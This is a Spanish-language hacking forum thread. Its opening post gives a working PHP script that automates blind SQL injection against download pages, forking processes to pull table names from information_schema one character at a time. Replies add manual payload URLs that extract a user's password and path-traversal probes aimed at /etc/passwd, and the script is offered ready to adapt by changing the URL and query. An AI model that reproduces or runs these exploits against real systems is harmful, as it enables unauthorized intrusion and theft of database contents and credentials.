Posteare Algunas de mis Experiencias "Casos" Dentro de las Inyecciones SQL en MYSQL.
Asi si alguien tiene algun problema o falla similar, pueda tener aunque sea una guia de como se podria Resolver.
Web:
http://www.site.com/download.php?id=2
Al Dar Click Se Descarga el Archivo Numero 2, de la base de datos.
Citarhttp://www.site.com/download.php?id=2+and+1=0 ERROR [No Descarga]
http://www.site.com/download.php?id=2+and+1=1 OK [Si Descarga]
Como no es Una Inyeccion Comun que podria Mostrar algun Tipo de Informacion, tenia que ocupar la Tecnica de Blind SQL.
Pues Bien Me Prepare a Codear un Script que me facilitara la Vida, pero llegue a un problema.
Si Hacia Alguna peticion Curl o Simplemente file_get_contents, no tenia Ninguna respuesta. Tenia que obtener la forma de diferenciar un valor Verdadero de uno Falso. De lo cual Nacio el Siguiente Script.
Citar
<?
$x=97;
$substring = 0;
$sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1";
$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))="$x;
$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
if ($var != 0){
echo "TRUE";
}else{
echo "FALSE";
}
}
?>
La parte en Rojo muestra cantidad maxima que recibira.
Leemos con strlen el largo del string, si recibimos auque sea 1 caracter significa que es verdadero.
Ya tenemos Nuestro Motor Casi Listo.
Script Finalizado :
<?php
/*
Coded by OzX[NuKE/US]
http://foro.undersecurity.net
*/
set_time_limit (0);
error_reporting(0);
function ordenar($file){
$file = file($file);
foreach ($file as $var){
list($ansii,$valores)= explode(">",$var);
$vars[$ansii] = $valores;
}
ksort($vars);
foreach ($vars as $var){
$data .=trim($var);
}
return array($data,$vars);
}
function blind($limit,$substring,$file){
$ascii = array(44,0,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,
113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57,
65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90);
for ($x=0;$x<=count($ascii);$x++){
$f1=fopen($file,"a");
$sql = "SELECT+table_name+from+information_schema.tables+where+table_schema='db'+limit+".$limit.",1"; //Mostrar las Tablas de la db
$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];
$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
if ($var != 0){
$info = $substring . ">".chr($ascii[$x])."\n";
$string.= chr($ascii[$x]); //Obtenemos el Valor y lo Guardamos
echo "[".$substring."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
fwrite($f1,$info);
fclose($f1);
exit();
}else{
echo chr($ascii[$x]).chr(13);
}
}
}
############################################################################################
$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];
$file = rand().".txt";
if (file_exists($file)) {
unlink($file);
}
$pids = array();
for($i=$start;$i<=$finish;$i++)
{
$pid = pcntl_fork();
if($pid == -1) { die('ERROR FORK');
} else if ($pid) {
$pids[] = $pid;
} else {
blind($limit,$i,$file);
exit();
}
}
foreach($pids as $pid) {
pcntl_waitpid($pid, $status);
}
list($data,$vars) = ordenar($file);
echo "Valor Obtenido :> ".$data."\r\n";
unlink($file);
?>
Claramente Tienen que Cambiar la url, y la consulta que desean hacer.
recibe 3 parametros de Entrada.
$start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor
$finish = $argv[3]; //=> En donde Terminara el Substring => 9
$limit = $argv[1]; //=> Valor del Limit, Primer Valor , Segundo Tercero cuarto ... (limit+0,1) = $limit = 0
Saludos ¡
OzX¡
Fuente : http://foro.undersecurity.net/read.php?5,775,776 (http://foro.undersecurity.net/read.php?5,775,776)
wow '_'
No se me habia ocurrido ese escenario para blind SQL injection
ahora que lo veo, tengo un sistema de descargas, lo voy a probar XD
Ya lo probe, tiene tiempo que hice ese "sistema de descargas" y resulta que me dice "solo se aceptan numeros"
bueno, al parecer pense casi en todo :¬¬
en #RE hay un post algo parecido
solo que prueba si nos deja descargar x ejemplo
/../index.php
../../index.php
/../../../etc/psswd
interesante post OzX
saludos
Blind Sql realmente es una de las pocas tecnicas de "hackeo" por SQL q me agradan ^^
Cita de: Azielito en 6 Febrero 2009, 19:38 PM
wow '_'
No se me habia ocurrido ese escenario para blind SQL injection
ahora que lo veo, tengo un sistema de descargas, lo voy a probar XD
Ya lo probe, tiene tiempo que hice ese "sistema de descargas" y resulta que me dice "solo se aceptan numeros"
bueno, al parecer pense casi en todo :¬¬
jejej coool.
Cita de: Darioxhcx en 7 Febrero 2009, 20:53 PM
en #RE hay un post algo parecido
solo que prueba si nos deja descargar x ejemplo
/../index.php
../../index.php
/../../../etc/psswd
interesante post OzX
saludos
Hi brota, eso es LFI, brute Force. esto es Blind SQl algo bastante distinto.
Saludos¡
Cita de: EvilGoblin en 7 Febrero 2009, 20:58 PM
Blind Sql realmente es una de las pocas tecnicas de "hackeo" por SQL q me agradan ^^
jejej pues si SQL es bastante interesante hay muxas formas de obtener informacion, desde obtener root en mysql 4 con raptor o la nueva tecnica de obtenercion de informacion como load_file, pero con blind.
Saludos¡
@OzX
Probando el script que haz enviado no me va, mi string manual es este:
http://1.1.1.1/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),2,1))=50
http://1.1.1.1/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),2,1))=51
http://1.1.1.1/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),2,1))=52
[/snip...]
Var dentro del code quedo así (algo falta):
$url="http://1.1.1.1/blind.php?id=1+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];
Ejecucion:
C:\>php -f blind-forzado.php
-berz3k.
hi brota.
a diferencia de los otros, este esta enfocado a las webs que tienen descargar forzadas.
header( 'Content-Disposition: attachment; filename="' . $name . '"');
donde $name es la consulta previ para obtener el archivo desde la base de datos o del mismo servidor.
el sistema que tiene para diferencir , si un valor es verdadero o falso, es.
$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
en donde si descarge lo minimo y esto lo leo como texto (obtendre codigo ilegible ), pero se que descargo algo, hay sabre que es un valor verdadero, en cambio si es falso, este no descargara nada de nada.
if ($var != 0){
echo "TRUE";
}else{
echo "FALSE";
}
}
nose en k tipo de vulnerabilidad blind la provaste, pero si no es de descargas forzadas, no va a funcionar.
Saludos brota¡ :D ¡
Es verdad mi QUERY es un blind normal via GET + ASCII etc, mas no estoy utlizando la injection via "Content-Disposition:"
HTTP/1.1 200 OK
Server: test
content-disposition: attachment; filename=test.html <- AQUI INJECTION
Content-length: 16
Content-Type: application/octet-strea
configurare algun ejemplo de descarga forzada en mi LAB, mmm pero para ello necesito un ejemplo real y así observare mejor los detalles OzX
a) Estoy funcionara tanto para win32 como Linux? si no es así, sigamos con el HILO y posteando mas pruebas.
b) Estoy mirando los archivos configs para Linux y win32 para crear un HEADER que force el CONTENT-DISPOSITION, OzX o si lo tenes ya ahorrarme el trabajo XD
mandame un msg private please!
-berz3k.
Esta enfocado para linux , el server donde estaba mirando es linux. :rolleyes:
Nose si te refieres a esto
<?
header ("Content-Disposition: attachment; filename=".$file.";" );
header ("Content-Type: application/force-download"); */
?>
Te envie un Priv ¡
Saludos¡ Brota¡
pd:nose si te llego el prvi me avisas